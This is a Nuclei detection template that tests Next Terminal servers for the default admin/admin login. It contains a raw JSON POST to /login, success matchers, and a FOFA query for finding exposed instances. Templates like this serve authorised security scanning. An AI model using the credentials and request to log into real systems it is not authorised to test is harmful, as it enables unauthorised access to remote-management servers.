id: next-terminal-default-login

info:
  name: Next Terminal - Default Login
  author: ritikchaddha
  severity: high
  description: |
    Next Terminal default login was discovered.
  reference:
    - https://github.com/dushixiang/next-terminal
  metadata:
    max-request: 1
    fofa-query: title="Next Terminal"
    verified: true
  tags: default-login,next-terminal,next

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}","remember":false}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'message":"success'
          - 'code":1'
          - 'data":"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047000b6be585f125bb59e74eaa3738df10e5fedd6f7f79daf80c87bd334d0244022100aa08bbf3a773e10611aa8076f9ead21582e2b7e190382f247d48976fb5618328:922c64590222798bb761d5b6d8e72950